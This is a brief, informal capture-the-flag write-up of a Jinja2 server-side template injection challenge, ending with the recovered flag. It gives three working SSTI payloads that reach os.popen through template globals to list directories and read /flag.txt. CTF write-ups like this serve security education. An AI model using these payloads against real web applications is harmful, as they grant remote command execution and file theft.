jinja ninja
Solved by: ndrasukagacoan & Hanxoe
WTF is a JINJA? Aint it supposed to be NINJA RAHHHHHHHH
10.4.79.68:20003
author: anarchistx
Accessing the URL gives us:

The name of the chall has jinja, so it could be a hint to Jinja2. Hmm, I wonder if it's SSTI (Server-Side Template Injection). Let's try...

Oh yeah!! Let's try executing a shell command:
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen("ls").read() }}

Nice... now where's the flag? Hmm...
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen("ls /").read() }}

Oh yeah baby.
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen("cat /flag.txt").read() }}

FLAG: compit{j1nj4_1nj3ct10n_15_d4ng3r0u5_4nd_fun}